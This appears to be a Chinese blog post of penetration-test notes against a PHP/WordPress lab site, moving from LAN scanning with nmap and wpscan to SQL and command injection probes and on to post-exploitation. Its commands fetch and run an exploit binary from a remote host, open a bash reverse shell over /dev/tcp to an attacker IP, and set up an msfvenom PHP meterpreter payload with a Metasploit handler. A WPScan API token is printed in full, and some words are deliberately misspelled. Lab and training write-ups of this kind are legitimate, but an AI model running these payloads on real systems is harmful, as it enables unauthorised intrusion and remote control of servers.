PHP站点渗投

简介: PHP站点渗投

image.png

image.png

cd\
cd .\Users
dir
cd yuanfh
cd .\Desktop\
ls
.\pc.psl

image.png

.\pc.psl
..\pc.psl
powercat

image.png

测试注入点是否存在通常是指在Web应用程序的安全测试中,检查是否有可能执行SQL注如、命令注入或其他类型的注入公鸡。这是一个敏感的操作,因为它涉及到可能违反法律和道德规范的行为。在进行此类测试之前,你必须确保你有权对目标系统进行安全测试,通常这意味着你需要得到系统所有者或管理员的明确许可。

发现地址

在Kali Linux中,有许多工具可以用来发现局域网内的IP地址。以下是几种常用的方法:

使用arp命令

arp命令可以显示本地计算机的ARP缓存表,其中包含了局域网内设备的IP地址和MAC地址。

sudo arp -a

1.

使用nmap工具

nmap是一个强大的网络扫描工具,可以用来发现局域网内的活跃主机。

sudo nmap -sn 192.168.1.0/24

1.

这里的192.168.1.0/24是你想要扫描的网络地址。这个命令会扫描该网段内的所有IP地址,并显示哪些地址有回应。

基本端口扫描

要扫描局域网内所有主机的开放端口,可以使用以下命令:

sudo nmap -p- 192.168.1.0/24

1.

这里,-p-参数表示扫描所有65535个TCP端口,192.168.1.0/24是要扫描的局域网网段。

指定端口范围扫描

如果你只想扫描特定的端口范围,可以使用以下命令:

sudo nmap -p 1-1024 192.168.1.0/24

1.

这里,-p 1-1024表示只扫描1到1024号端口。

快速扫描(SYN扫描)

如果你想进行更快速的扫描,可以使用SYN扫描(也称为半开放扫描):

sudo nmap -sS -p- 192.168.1.0/24

1.

这里,-sS参数表示使用SYN扫描。

使用ping命令

ping命令可以用来测试与某个IP地址的连通性。你可以遍历一个网段的所有IP地址来发现活跃的设备。

for ip in $(seq 1 254); do  

   ping -c 1 192.168.1.$ip &>/dev/null && echo "192.168.1.$ip is up"  

done

1.

2.

3.

这个脚本会依次ping局域网内的每个IP地址,并打印出有回应的地址。

使用fping工具

fping是一个快速的ping工具,可以同时ping多个IP地址。

sudo fping -a 192.168.1.0/24

1.

使用netdiscover工具

netdiscover是一个用于发现局域网内所有设备的工具。

sudo netdiscover -r 192.168.1.0/24

1.

使用avahi-browse工具

avahi-browse是一个用于浏览局域网内设备的服务发现工具。

sudo avahi-browse -a

1.

使用ipneigh命令

ipneigh命令可以显示本地网络接口的邻居缓存表。

sudo ip neigh show

1.

使用tcpdump工具

tcpdump是一个网络嗅探工具,可以用来捕获和分析网络流量。通过分析捕获的数据包,你可以发现局域网内的IP地址。

sudo tcpdump -i eth0 -nn host 192.168.1.0/24

1.

以下是一些常见的注入点测试方法:

SQL注如测试

单引号测试:尝试在输入框中输入单引号',如果应用程序返回错误或者异常,这可能表明存在SQL注如的风险。

基于错误的注入:尝试输入可能导致SQL语法错误的输入,比如1' OR '1'='1,如果应用程序返回了数据库的错误信息,这可能是一个注入点。

基于时间的注入:使用延时函数,如MySQL中的BENCHMARK()或SLEEP(),来测试应用程序的响应时间是否有异常变化。

基于联合查询的注入:尝试使用UNION SELECT语句来检索额外的数据,例如1 UNION SELECT version(), @@version--。

命令注入测试

分隔符测试:尝试在输入中加入操作系统命令分隔符,如Windows中的;或Linux中的&&或|,看是否能执行多个命令。

特殊字符测试:尝试输入特殊字符,如&、<、>、*等,这些字符在命令行中有特殊含义,可能导致意外的命令执行。

反引号测试:在一些编程语言中,如PHP,可以使用反引号`来执行系统命令,尝试输入包含反引号的输入,看是否能执行命令。

注意事项

合法性:未经授权的渗投测试是非法的,务必获得相应的授权。

道德性:即使获得了授权,也应遵循道德准则,避免对生产环境造成影响。

责任性:在发现漏动后,应负责任地向系统所有者报告,而不是滥用这些信息。

安全性:在进行测试时,确保自己的行为不会对系统的安全性和稳定性造成威胁。

如果你是在合法授权的情况下进行测试,可以使用专业的工具如SQLMap、Burp Suite等来自动化检测注入点。这些工具能够帮助你更有效地识别和验证潜在的注入漏动。记住,任何安全测试都应该在合法和道德的框架内进行。

image.png

image.png

发现可疑的路径点击进来查看,看看重要文件,发现备份下载下来。

经过查看是一个web的网站源码,就是下面这个文件夹gila的备份zip

image.png

使用wpscan扫描

wpscan  --url http://172.31.1.30/wp

wpscan 是一个用于审计 WordPress 网站安全的工具。它能够检测 WordPress 核心、插件、主题中的已知漏动,以及提供一些其他有用的信息。

如果你想要对 http://172.31.1.30/wp 进行扫描,可以使用以下命令:

wpscan --url http://172.31.1.30/wp


这个命令将会对指定的 URL 进行一个基本的扫描。默认情况下,wpscan 会检测 WordPress 核心、插件和主题的版本,并检查是否有已知的安全漏动。

附加选项

wpscan 提供了许多附加选项,可以根据需要进行配置。以下是一些常用的选项:

--enumerate: 枚举更多的信息,例如用户、插件、主题等。

--plugins: 只扫描插件。

--themes: 只扫描主题。

--vulns: 显示已知漏动。

--output-file <file>: 将扫描结果保存到文件。

例如,如果你想要枚举用户并显示已知漏动,可以使用以下命令:

wpscan --url http://172.31.1.30/wp --enumerate u --vulns

image.png

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp


当你使用 wpscan 进行 WordPress 安全扫描时,如果你有一个 WPScan API 密钥(API token),你可以将其添加到命令中以解锁额外的功能和更快的扫描速度。API 密钥通常用于支持 WPScan 项目,并通过捐赠获得(目前免费)。

以下是如何在你的命令中包含 API 密钥的示例:

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp


在这个命令中,hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 是你的 API 密钥,http://172.31.1.30/wp 是你要扫描的 WordPress 站点的 URL。

附加选项

除了基本的扫描之外,你还可以添加其他选项来定制你的扫描。例如,如果你想要枚举用户并检查已知的漏动,你可以使用以下命令:

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp --enumerate u --vulnerabilities


在这个命令中,--enumerate u 表示枚举用户,而 --vulnerabilities 表示检查已知的漏动。

通用流程

扫端口-发现端口-发现web站点/应用-手动搜集信息-遍历目录-后台登陆页面及重要文件-根据扫描到的目录、版本信息查看有什么针对性的专用漏动扫描器-检查有没有扫描可以利用。

sql注如

发现诸如点-sqlmap跑数据库名和表名-爆破应用数据库及数据表-管理员/用户数据表把账户和密吗下载出来-做破接-利用密吗登录管理员后台-进一步渗投站点

image.png

image.png

cd /tmp
pwd
wget http://172.31.1.16/exp
chmod 777 exp
./exp

image.png

看回显发现也没有问题,成功了。执行了exp之后也获得了权限

以下是具体步骤:

在Kali机器上安装并配置Web服务器(以Apache为例):

sudo apt-get update
sudo apt-get install apache2


将反弹shell脚本上传到Apache的默认目录(通常是/var/www/html):

sudo cp /path/to/your/reverse_shell.php /var/www/html/


确保Apache服务正在运行:

sudo systemctl start apache2
sudo systemctl enable apache2


在Web端,使用wget命令下载反弹shell脚本。首先,找到你的Kali机器的IP地址,然后在Web端执行以下命令(将your_kali_ip替换为实际的IP地址):

wget http://your_kali_ip/reverse_shell.php


下载完成后,你可以使用PHP或其他支持的语言来执行反弹shell脚本。例如,如果你使用的是PHP,可以在Web端执行以下命令:

php reverse_shell.php


或者

要在Web端利用wget下载Kali机器上的反弹shell,你需要遵循以下步骤:

首先,在Kali机器上创建一个反弹shell脚本。这里我们使用bash shell作为示例:

#!/bin/bash
bash -i >& /dev/tcp/your_attacker_ip/your_attacker_port 0>&1


将上述代码中的your_attacker_ip和your_attacker_port替换为你的公鸡者IP地址和端口号。

保存脚本到一个文件,例如reverse_shell.sh,并确保它具有可执行权限:

chmod +x reverse_shell.sh


在Kali机器上启动一个监听器,以便接收反弹的shell连接。你可以使用netcat或nc工具来实现这一点:

nc -lvp your_attacker_port


将your_attacker_port替换为你在第1步中设置的端口号。

在Web端,使用wget命令下载反弹shell脚本。假设你已经知道Kali机器上的URL路径(例如:http://kali_machine_ip/reverse_shell.sh),则可以使用以下命令:

wget http://kali_machine_ip/reverse_shell.sh


下载完成后,你可以在Web端的机器上运行下载的反弹shell脚本,以连接到Kali机器:

./reverse_shell.sh


现在,你应该已经成功建立了从Web端到Kali机器的反弹shell连接。请注意,这种方法仅适用于你有权限访问Kali机器上的反弹shell脚本的情况。此外,出于安全原因,不建议在生产环境中使用此类技术。

exp编写

在Kali Linux上,你可以使用Metasploit框架来创建一个针对特定网站的漏动利用(exploit)脚本。以下是一个简单的示例,用于创建一个基于PHP的Web应用程序漏动的Metasploit模块:

首先,确保你已经安装了Metasploit框架。如果没有,请运行以下命令安装:

sudo apt-get update
sudo apt-get install metasploit-framework


创建一个新的Metasploit模块。打开终端并输入以下命令:

msfvenom -p php/meterpreter_reverse_tcp LHOST=your_kali_ip LPORT=your_kali_port -f raw > shell.php


将your_kali_ip替换为你的Kali Linux机器的IP地址,将your_kali_port替换为你希望监听的端口号。这将生成一个名为shell.php的文件,其中包含一个反向TCP Meterpreter shell。

将生成的shell.php文件上传到目标网站的服务器上。你可以使用FTP客户端、SCP或其他方法将文件传输到目标服务器。

在Kali Linux上,启动Metasploit控制台并设置监听器:

msfconsole

在Metasploit控制台中,输入以下命令以设置监听器:

use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST your_kali_ip
set LPORT your_kali_port
exploit


现在,当目标用户访问上传了shell.php文件的网站时,他们将被连接到你的Kali Linux机器上的Metasploit监听器。你可以在Metasploit控制台中执行各种命令来控制目标系统。

请注意,这只是一个简单的示例,实际的公鸡可能需要更复杂的漏动利用和公鸡策略。在进行任何形式的渗投测试或公鸡之前,请确保你拥有合法的授权和权限。


相关文章
|
PHP C++ Windows
IIS7 配置 PHP5.5
原文: IIS7 配置 PHP5.5     本文环境:                  操作系统:Win7(x64) 中文专业版                  PHP       :V5.5                        首先添加IIS。
1126 0
|
PHP
【PHP -S命令】PHP内置web服务器
【PHP -S命令】PHP内置web服务器
844 0
【PHP -S命令】PHP内置web服务器
|
5月前
|
关系型数据库 MySQL PHP
php wampserver的使用配置
本文介绍了WampServer在Windows系统下的配置和使用方法,包括如何修改PHP时区为中国标准时区PRC、更改Apache服务器端口号以避免冲突、设置起始页以及如何创建和管理虚拟目录。通过这些步骤,用户可以更有效地在本地环境中开发和测试PHP程序。
php wampserver的使用配置
|
PHP Apache 数据安全/隐私保护
PHP获取客户端、PHP获取服务器相关信息
服务器变量 $_SERVER 详解: 1、$_SESSION['PHP_SELF'] -- 获取当前正在执行脚本的文件名 2、$_SERVER['SERVER_PROTOCOL'] -- 请求页面时通信协议的名称和版本。
1163 0
|
PHP
安装 OpenLiteSpeed 1.4 + PHP 7.0 设置篇
此篇接上篇 [《安装篇》][1],这里介绍如何在 OpenLiteSpeed 中以 LSAPI 跑 PHP的设置篇。因为两篇文章合起来比较长,所以这里分开写。 O喷 LiteSpeed 的设置有点像 IIS 的设置,还是蛮有意思的。
3166 0
|
关系型数据库 测试技术 PHP
WindowsServer2003中IIS支持php的配置
1.安装MySQL(没有特殊说明的就按照默认安装)选择 Custom 自定义安装点击"Change"更改 MySQL 安装目录(自定义)其他按照默认的下一步就可以安装完成后会自动跳转到设置界面,选择 Detailed Configuration 进行详细配置选择 MySQL 运行模式:Server ...
910 0
|
Web App开发 测试技术 PHP
IIS 6.0 支持Php
马上就要毕业答辩了,整天都在搞毕业设计,今天整了一点了,现在又点累了,看了看书本,发现网页设计的东西,我想到了Php,以前是asp的,现在想看看php的东西,所以就的安装php脚本解析器,想办法让windows 2003 支持这种东西,所以就测试了一下,居然成功了。
726 0

热门文章

最新文章